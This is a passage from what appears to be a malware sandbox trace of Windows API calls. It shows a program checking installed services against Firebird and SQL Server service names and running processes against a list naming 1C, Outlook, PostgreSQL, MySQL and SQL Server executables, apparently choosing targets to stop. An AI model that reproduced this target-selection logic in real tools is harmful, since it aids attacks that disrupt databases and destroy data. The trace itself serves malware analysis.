lpString2="CryptSvc") returned 1 [0041.029] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.029] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.030] lstrlenW (lpString="CscService") returned 10 [0041.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.030] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.030] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.030] lstrlenW (lpString="DcomLaunch") returned 10 [0041.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.030] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.030] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.030] lstrlenW (lpString="Dhcp") returned 4 [0041.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.030] lstrlenW (lpString="Dnscache") returned 8 [0041.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.031] lstrlenW (lpString="DPS") returned 3 [0041.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0041.031] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.031] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.031] lstrlenW (lpString="eventlog") returned 8 [0041.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.031] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.031] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.031] lstrlenW (lpString="EventSystem") returned 11 [0041.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.031] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.031] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.031] lstrlenW (lpString="FontCache") returned 9 [0041.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0041.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0041.032] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0041.032] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0041.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0041.032] lstrlenW (lpString="gpsvc") returned 5 [0041.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.032] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.032] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.032] lstrlenW (lpString="iphlpsvc") returned 8 [0041.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.032] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.032] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.032] lstrlenW (lpString="LanmanServer") returned 12 [0041.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.032] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.032] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.032] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.033] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.033] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.033] lstrlenW (lpString="lmhosts") returned 7 [0041.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.033] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.033] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.033] lstrlenW (lpString="MMCSS") returned 5 [0041.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.033] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.033] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0041.033] lstrlenW (lpString="MpsSvc") returned 6 [0041.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.033] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.034] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.034] lstrlenW (lpString="Netman") returned 6 [0041.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.034] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.034] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.034] lstrlenW (lpString="netprofm") returned 8 [0041.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.034] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.034] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.034] lstrlenW (lpString="NlaSvc") returned 6 [0041.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.034] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.034] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.034] lstrlenW (lpString="nsi") returned 3 [0041.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.035] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.035] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.035] lstrlenW (lpString="PcaSvc") returned 6 [0041.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.035] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.035] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.035] lstrlenW (lpString="PlugPlay") returned 8 [0041.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.035] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.035] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.035] lstrlenW (lpString="Power") returned 5 [0041.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.036] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.036] lstrlenW (lpString="ProfSvc") returned 7 [0041.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.036] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.036] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.036] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.036] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.036] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.036] lstrlenW (lpString="RpcSs") returned 5 [0041.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.036] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.036] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.036] lstrlenW (lpString="SamSs") returned 5 [0041.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.037] lstrlenW (lpString="Schedule") returned 8 [0041.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.037] lstrlenW (lpString="SENS") returned 4 [0041.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.037] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.037] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.037] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.037] lstrlenW (lpString="Spooler") returned 7 [0041.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.038] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.038] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.038] lstrlenW (lpString="sppsvc") returned 6 [0041.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0041.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0041.038] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0041.038] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0041.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0041.038] lstrlenW (lpString="SysMain") returned 7 [0041.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.038] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.038] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.038] lstrlenW (lpString="Themes") returned 6 [0041.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.038] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.038] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.038] lstrlenW (lpString="TrkWks") returned 6 [0041.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.039] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.039] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.039] lstrlenW (lpString="UxSms") returned 5 [0041.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.039] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.039] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.039] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.039] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.039] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.039] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.039] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.039] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.040] lstrlenW (lpString="WinDefend") returned 9 [0041.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0041.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0041.040] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0041.040] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0041.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0041.040] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.040] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.040] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.040] lstrlenW (lpString="Winmgmt") returned 7 [0041.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.040] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.040] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.040] lstrlenW (lpString="wscsvc") returned 6 [0041.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0041.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0041.040] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0041.040] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0041.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0041.041] lstrlenW (lpString="wuauserv") returned 8 [0041.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0041.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0041.041] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0041.041] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0041.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0041.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f91e0 | out: hHeap=0x5c0000) returned 1 [0041.041] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0041.050] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.051] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.052] lstrlenW (lpString="System") returned 6 [0041.052] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.052] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.052] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.052] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0041.052] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.052] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.052] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.052] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.053] lstrlenW (lpString="smss.exe") returned 8 [0041.053] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.053] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.053] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.053] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.053] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.053] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.053] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.053] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.054] lstrlenW (lpString="csrss.exe") returned 9 [0041.055] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.055] lstrlenW (lpString="wininit.exe") returned 11 [0041.055] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.056] lstrlenW (lpString="csrss.exe") returned 9 [0041.056] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.057] lstrlenW (lpString="winlogon.exe") returned 12 [0041.057] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.059] lstrlenW (lpString="services.exe") returned 12 [0041.059] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.060] lstrlenW (lpString="lsass.exe") returned 9 [0041.060] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.061] lstrlenW (lpString="lsm.exe") returned 7 [0041.061] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.062] lstrlenW (lpString="svchost.exe") returned 11 [0041.062] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.063] lstrlenW (lpString="svchost.exe") returned 11 [0041.063] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.063] lstrlenW (lpString="svchost.exe") returned 11 [0041.064] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.064] lstrlenW (lpString="svchost.exe") returned 11 [0041.064] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, 